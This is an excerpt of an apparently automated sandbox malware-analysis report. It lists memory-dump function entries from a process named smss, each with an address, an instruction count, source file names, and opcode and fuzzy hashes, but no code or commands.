                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2e90a267949e7d1b16bce8014cdd90505d5880563851f77574a77db64170ea16
                                                      • Instruction ID: a8a49dc42514768680c6ef3c35abe456744aba873cb9efba3a044fd3b7609f7b
                                                      • Opcode Fuzzy Hash: 2e90a267949e7d1b16bce8014cdd90505d5880563851f77574a77db64170ea16
                                                      • Instruction Fuzzy Hash: 5071F431A0E54D5FF778DA6888265B8B7C0FF44310B1A02BDD65EC75BADE18EB068781
                                                      Function 00007FFD9BC2B899 Relevance: .2, Instructions: 245COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f22ae27cb78f435892ab4d8db83b4665dadb35a704bb864c38f43a9157bfcd31
                                                      • Instruction ID: 7bee2c23a07d714ba43d554569b38f44bf14f7b5d705676ca44ef2a15b9960a9
                                                      • Opcode Fuzzy Hash: f22ae27cb78f435892ab4d8db83b4665dadb35a704bb864c38f43a9157bfcd31
                                                      • Instruction Fuzzy Hash: DD712D35B0E94D4FE778EA6884675BC37E0FF44311B1A02B9D16EC75B2DD18EA068741
                                                      Function 00007FFD9BFCC9CB Relevance: .2, Instructions: 235COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b2810290d3002976cda10647ced5d28100841ea3cfe2f3baa8bc452dbb8016df
                                                      • Instruction ID: 9a200fd9ff9500729e6198cc48cb40a149f0f0fbb785042fe17c7c901b82c365
                                                      • Opcode Fuzzy Hash: b2810290d3002976cda10647ced5d28100841ea3cfe2f3baa8bc452dbb8016df
                                                      • Instruction Fuzzy Hash: CD719430E1954E8EEB65EFA488756BCBBB0FF45300F5102BAD00ED71A5EE2969818781
                                                      Function 00007FFD9BC2C45B Relevance: .2, Instructions: 232COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 108be61ff5a7d7ca6207b59e621830d83cfbf22c37da04be09ce2ce11fa029fa
                                                      • Instruction ID: 4c3ab6788b6efb950423434cdabcc2f920a74f94f5b695bc1dd74308463b37b6
                                                      • Opcode Fuzzy Hash: 108be61ff5a7d7ca6207b59e621830d83cfbf22c37da04be09ce2ce11fa029fa
                                                      • Instruction Fuzzy Hash: D971C030E1D54E8FEB65DBB488656BE7BB1FF48301F1500BAD01ED71A5EE38AA418701
                                                      Function 00007FFD9BC2594B Relevance: .2, Instructions: 228COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 90b6c849beb6c9f18ddfa6ba83d80572e241d78b09242ec78ef3d236f8bfa0b3
                                                      • Instruction ID: 44487db104365b570f348f473417388830d87f1d7516594f8c6d1175dc29855c
                                                      • Opcode Fuzzy Hash: 90b6c849beb6c9f18ddfa6ba83d80572e241d78b09242ec78ef3d236f8bfa0b3
                                                      • Instruction Fuzzy Hash: 4771D330F1E54E8EEB65EBB888655BD7BB0FF45310F5900BAD01AD71E5EE28B9428700
                                                      Function 00007FFD9BFC38EB Relevance: .2, Instructions: 225COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8274ba3274124bdadf217e300b84ffccc7b62822895282d71bc70550fa9b58d3
                                                      • Instruction ID: 285fd113a992a51efd53cc1aeb7101693a593ef6b1550da0759292c0822c0352
                                                      • Opcode Fuzzy Hash: 8274ba3274124bdadf217e300b84ffccc7b62822895282d71bc70550fa9b58d3
                                                      • Instruction Fuzzy Hash: D771E931E1D54E8FEB65EFA488666BCBBA1FF45350F1102B9D00EC31E1DE3A69898701
                                                      Function 00007FFD9BFC6E41 Relevance: .2, Instructions: 225COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 90bb1d43529c464b6ff0d17f108f336eeef094a5c4f10aeb319e250438adae51
                                                      • Instruction ID: 949bdba0c35b9f38421d74ab2828ced9e3d2aa13c306342d1a170550676d1a6a
                                                      • Opcode Fuzzy Hash: 90bb1d43529c464b6ff0d17f108f336eeef094a5c4f10aeb319e250438adae51
                                                      • Instruction Fuzzy Hash: 3281B430A0EB0A8FE379EF58D0A157177A1FF54310B51467DC48AC7AA2DB3AB982C741
                                                      Function 00007FFD9BFD9B20 Relevance: .2, Instructions: 163COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 73e0c9e2c20a4bb44bc3ab1261e132944be0c6f5611acd944ffdc1f199908562
                                                      • Instruction ID: e7edb4b22a9d87af4d45a8f25e320a4f976cdda3075d110a1f28d8d762d485ed
                                                      • Opcode Fuzzy Hash: 73e0c9e2c20a4bb44bc3ab1261e132944be0c6f5611acd944ffdc1f199908562
                                                      • Instruction Fuzzy Hash: 5A51C330E0964D8FEB69DFA48869AB97BB0EF44300F0142BED44DD32A2DF356A44CB41
                                                      Function 00007FFD9BFC29D4 Relevance: .2, Instructions: 157COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1a596ade9eb610e9a8d4ac828ea33f626c0a6167f4a27525b77f814af418988b
                                                      • Instruction ID: 14b570126c92f6231ae75f6fca1a1c21b91ea71db5b6596f588f650aa4a3e766
                                                      • Opcode Fuzzy Hash: 1a596ade9eb610e9a8d4ac828ea33f626c0a6167f4a27525b77f814af418988b
                                                      • Instruction Fuzzy Hash: A551E432A0E79A8FDB62AFE8D8A05F97FB0EF06300B0501B7C04DD71A3DA296945C751
                                                      Function 00007FFD9B8608D0 Relevance: .2, Instructions: 156COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5fb885aea23e1ba2e119506fb46eccc79973cf1aedf0e890b5d254665e97afab
                                                      • Instruction ID: 49f0f97e1c8d03ab50b67ca665ae3bf36ed54ce378090d28e61fd211b6da3560
                                                      • Opcode Fuzzy Hash: 5fb885aea23e1ba2e119506fb46eccc79973cf1aedf0e890b5d254665e97afab
                                                      • Instruction Fuzzy Hash: D6414912B5C5194EE308B7AC74B6AF97781EF88325B4441FBD04EC71EBED58A88182C6
                                                      Function 00007FFD9BFCBD45 Relevance: .1, Instructions: 137COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8fdfa20b45497f77872c0b61ba21c0aaef9393ad0380783be0388356e63de204
                                                      • Instruction ID: d15a1bd744ea7628c948f9c15702468ac11b015800360d836f05cb15420859e0
                                                      • Opcode Fuzzy Hash: 8fdfa20b45497f77872c0b61ba21c0aaef9393ad0380783be0388356e63de204
                                                      • Instruction Fuzzy Hash: 7B411632A0D69D9FDB25EFA8D8608F8BBB0FF11300F0542BAC049D31A3CA296945C741
                                                      Function 00007FFD9BC281E0 Relevance: .1, Instructions: 130COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: be9990f8ef7475b50c463ca182ab1d512b40a259c62dd827d33a2a0585a200eb
                                                      • Instruction ID: 331c10350e84bac7c8df80a594991302b3714dc15c986fcc5bfd9ae00851a467
                                                      • Opcode Fuzzy Hash: be9990f8ef7475b50c463ca182ab1d512b40a259c62dd827d33a2a0585a200eb
                                                      • Instruction Fuzzy Hash: F341F620A1E95E8EEB78D66888756FC77A1FF64301F1845BAC04ED71A6DD38AAC48740
                                                      Function 00007FFD9BC20257 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 11a7ca0ec8e8b02e416b6536bf41ad84fc67a066e25a82b1b5fd3e4c89fd9a74
                                                      • Instruction ID: eb142ffbc27e0f268410cf6364b52bdf5ba90a81e94ca132a1d697b71bb0dbe0
                                                      • Opcode Fuzzy Hash: 11a7ca0ec8e8b02e416b6536bf41ad84fc67a066e25a82b1b5fd3e4c89fd9a74
                                                      • Instruction Fuzzy Hash: DC41543160C9198FDF98EB2CC4A6DB577E1FBA971070446AAD44EC7192EE21F845CB81
                                                      Function 00007FFD9BC294B7 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1b9eea36b735450c904a43393abf47fbd6ac88a4776d130235402304db7de59c
                                                      • Instruction ID: 6db9c2dd0259ad9744ef79f4c72f4335c67e96694d943453b65277dc929c732b
                                                      • Opcode Fuzzy Hash: 1b9eea36b735450c904a43393abf47fbd6ac88a4776d130235402304db7de59c
                                                      • Instruction Fuzzy Hash: F841313170C9588FDB58EF6CC469EA577E1FBA9320B0401AAD04EC7296DE35F985CB81
                                                      Function 00007FFD9BFC7467 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 780e10a20698b2444d56d223e561edf29c9260e31c9d5b6006aa54b16f6ba808
                                                      • Instruction ID: 3ed95e76f241332511419adf086fad7ccc7c7f6525d445abb5df9995bfd3e059
                                                      • Opcode Fuzzy Hash: 780e10a20698b2444d56d223e561edf29c9260e31c9d5b6006aa54b16f6ba808
                                                      • Instruction Fuzzy Hash: F141303260C9198FEF98EF58D466EB477E1FB6932071401AAD05EC3192EE35FD858B81
                                                      Function 00007FFD9BC2B510 Relevance: .1, Instructions: 125COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 30d09573278a56fc2f1eda0c39fcbd9ed018db3abafc7841b0302e07fcfd4769
                                                      • Instruction ID: b8e808e0cd967fe8bd6e26df8c69fc30134887042e509b330473c32632322931
                                                      • Opcode Fuzzy Hash: 30d09573278a56fc2f1eda0c39fcbd9ed018db3abafc7841b0302e07fcfd4769
                                                      • Instruction Fuzzy Hash: F841C331A1EA9A8FDB59EBA8D8718ED7B71FF05304B0801B6D04EDB1E3DE24A9058751
                                                      Function 00007FFD9BFCBF39 Relevance: .1, Instructions: 123COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b24cb1c977d1546622b6bde06f06e66b85a6ad9438bafd7ed74b1b060915f06a
                                                      • Instruction ID: 4c7ec9ebe95a168adf11de04ffac6ce3eaa4a424fbba305e870cd4aa77525ec9
                                                      • Opcode Fuzzy Hash: b24cb1c977d1546622b6bde06f06e66b85a6ad9438bafd7ed74b1b060915f06a
                                                      • Instruction Fuzzy Hash: E031D521A0E19E8AF7397ED468315B83B40EF42320F1607B6E44E860E6D90E36A196D2
                                                      Function 00007FFD9BC20031 Relevance: .1, Instructions: 121COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8d87aac179d8cd760a3909514be67f1296f186e5387091bceeb2e5874fa33a1e
                                                      • Instruction ID: f78c7407df094bbef785313c337eb28de395d16d1906ffba7bd2285c33eb2760
                                                      • Opcode Fuzzy Hash: 8d87aac179d8cd760a3909514be67f1296f186e5387091bceeb2e5874fa33a1e
                                                      • Instruction Fuzzy Hash: 43414131E1E68ECFEBA98BB484755BD7BB1EF45700F1900BBD04DD71A2DA28AA448741
                                                      Function 00007FFD9BC29561 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6b8d465de67e54ce8cd7b684e0e681a7a904c99ad5f3447c433e7ce3123a29ce
                                                      • Instruction ID: e7570ae803ae56dee20184dc19a37aeec426b9ea888db1dafba14a59d8d2f3db
                                                      • Opcode Fuzzy Hash: 6b8d465de67e54ce8cd7b684e0e681a7a904c99ad5f3447c433e7ce3123a29ce
                                                      • Instruction Fuzzy Hash: DC3142316089588FDB58EF2CC469EA577E1FBA931170402AAD05EC7296DE34FC85CB81
                                                      Function 00007FFD9BC20301 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b620cecb6a2a0e30ab486ada9d04c6102c8d511b61630fff992b5d552ea2c0db
                                                      • Instruction ID: 901266525f179b2e8633eb11e42da89ffd65f24264f1ac7695a4ffacb9d57721
                                                      • Opcode Fuzzy Hash: b620cecb6a2a0e30ab486ada9d04c6102c8d511b61630fff992b5d552ea2c0db
                                                      • Instruction Fuzzy Hash: 9F3190316089588FDB9CEB28C4A6EB477E1FBA971070446AED44AC7192EE21F845CB81
                                                      Function 00007FFD9BFC7511 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6b9898126cd464e5a5eef551e29b49d9b9f88146a88e37cc07818406db426d0f
                                                      • Instruction ID: 345edb1c141930dad26db51580783b9ef5debee7a65b5043a68c2de56b5b2a34
                                                      • Opcode Fuzzy Hash: 6b9898126cd464e5a5eef551e29b49d9b9f88146a88e37cc07818406db426d0f
                                                      • Instruction Fuzzy Hash: AF317F316089598FDBA8EF28C466E6473E1FFA931071402AAD05EC7292DE35FC85CB81
                                                      Function 00007FFD9BC294FB Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2ec53e4624f4d1600ace2e3a86f534bd1d8aeb546cf6adc41f6f2833248a5224
                                                      • Instruction ID: 57c78564708069eb88fac4bf613d1a6429f57cedc2ee3f2485c2b76b4cd95345
                                                      • Opcode Fuzzy Hash: 2ec53e4624f4d1600ace2e3a86f534bd1d8aeb546cf6adc41f6f2833248a5224
                                                      • Instruction Fuzzy Hash: 9131433170C9598FDB68EF28C469EA577E1FBA931070401AAE05EC7296DE34F985CB81
                                                      Function 00007FFD9BC2029B Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f75016d4f83b56f16668274e950770fd33e114383646d888c9e15273a11ed7db
                                                      • Instruction ID: 043834d47ad2c153b7bb6b834acfd784aaed76a791256e70c0845cb1ae919146
                                                      • Opcode Fuzzy Hash: f75016d4f83b56f16668274e950770fd33e114383646d888c9e15273a11ed7db
                                                      • Instruction Fuzzy Hash: F431953160C9098FDF98EF28C4A5DB577E1FBA971070446AED04EC7192EE25F845CB81
                                                      Function 00007FFD9BFC74AB Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 14dd6a698243ba00c33b6814dd0445529e2952ec4f63a9ba84a02dfd46e90e17
                                                      • Instruction ID: 3eac28a4ae057ad5e9504b060525c3c638fbdfb4d2758bd91fea55ce36187cfc
                                                      • Opcode Fuzzy Hash: 14dd6a698243ba00c33b6814dd0445529e2952ec4f63a9ba84a02dfd46e90e17
                                                      • Instruction Fuzzy Hash: 4B3140316089498FDBA8EF68C465EB473E1FF6931071405A9D05EC7292DE35FC85CB81
                                                      Function 00007FFD9BFCBD90 Relevance: .1, Instructions: 110COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 502ca4707310cf2bb412562165f9d1eb449c52209ff6e7d2c4ba9dbbd6cf167a
                                                      • Instruction ID: 22725d7ce7852754b0cf0a8eb1dbe55a3287a77ab16a907d9f7d41586c027a62
                                                      • Opcode Fuzzy Hash: 502ca4707310cf2bb412562165f9d1eb449c52209ff6e7d2c4ba9dbbd6cf167a
                                                      • Instruction Fuzzy Hash: 7B31D231A0D68D9FDB65EFA8C8A08FC7BB0FF55300F0542BAD04AD71A3DA296945C741
                                                      Function 00007FFD9BFC45CD Relevance: .1, Instructions: 110COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 13c3196a12c7ef5fef591bb4aa235159b99e9c2121d1a831fb5f0f0bc635c6c1
                                                      • Instruction ID: 98e03202f55eb4da0d157d0b216dcfda4e48d34a5e098dd4060315b0fb8cd34e
                                                      • Opcode Fuzzy Hash: 13c3196a12c7ef5fef591bb4aa235159b99e9c2121d1a831fb5f0f0bc635c6c1
                                                      • Instruction Fuzzy Hash: E2317271B0990A8FEB68EE98D4619B8F3A2FF55310B254279D01EC3291DF25BD528B80
                                                      Function 00007FFD9BFCD6AB Relevance: .1, Instructions: 100COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 550797c2e6a366d5c546245b6b63df77f04b91fea6c13667c886a1aa35dc03d1
                                                      • Instruction ID: 7f55bdb71e4cee2087e0f4cc309740ac52500b6137cd3ec9b85646f02c034033
                                                      • Opcode Fuzzy Hash: 550797c2e6a366d5c546245b6b63df77f04b91fea6c13667c886a1aa35dc03d1
                                                      • Instruction Fuzzy Hash: 0E313C71B0991E8FDB58EE98D4A19B8B3A2FF58310B114239D01EC36A1DF35BD51CB80
                                                      Function 00007FFD9BC292C5 Relevance: .1, Instructions: 98COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 158ff498c7457079f0378b7ec752ff5fdd1f53619752c5251893726992ba80bf
                                                      • Instruction ID: a69d071438732cb2b561663124ad3d7cb72df0cc49c7cb447940b5e4f26f9b0a
                                                      • Opcode Fuzzy Hash: 158ff498c7457079f0378b7ec752ff5fdd1f53619752c5251893726992ba80bf
                                                      • Instruction Fuzzy Hash: 96313B30A0A94ECFEB68DBA484695FD77A1FF94300F5A007AD01ED61E1DAB9EA40C741
                                                      Function 00007FFD9BC2662D Relevance: .1, Instructions: 96COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0ea4e15d4596ee50a6ca084705e243173838379b2a61f4603029da11ba5e38b4
                                                      • Instruction ID: 9a184661e777433f70c456b36555ac4d662e302d967b72c558b4c4d277363efb
                                                      • Opcode Fuzzy Hash: 0ea4e15d4596ee50a6ca084705e243173838379b2a61f4603029da11ba5e38b4
                                                      • Instruction Fuzzy Hash: 6D31A471B0990A5FDB58EBA8D4619ACF7A2FF55320B154539D05EC3292CF34BD128B50
                                                      Function 00007FFD9B861171 Relevance: .1, Instructions: 96COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d7d67d15b8d4bdc3ae5a79410e81c196c9d042727fe377ccd87484874e16f31b
                                                      • Instruction ID: 5d342ea8dea0ea7651512bfc12ae6b736b3706629eef611497d800d46d329828
                                                      • Opcode Fuzzy Hash: d7d67d15b8d4bdc3ae5a79410e81c196c9d042727fe377ccd87484874e16f31b
                                                      • Instruction Fuzzy Hash: A431A430A0D64E8FDB45EBA4C8A59AD7BF0FF5A310B0505BBC009D71A3DA28A945CB50
                                                      Function 00007FFD9BC24A54 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4a963f9cf8381d951e2851d791710dbe7587f9cf2fa933c337ffa1dcb7177655
                                                      • Instruction ID: b1edf866511023b0685093b53e5bc0cc2e5a93bd0fab8b3601a1588d2b93601d
                                                      • Opcode Fuzzy Hash: 4a963f9cf8381d951e2851d791710dbe7587f9cf2fa933c337ffa1dcb7177655
                                                      • Instruction Fuzzy Hash: 3E21C331F1D98DDFDB65CBA4C8205EC7BB1FF55300F0901BAD00AE72A6DA25A905C714
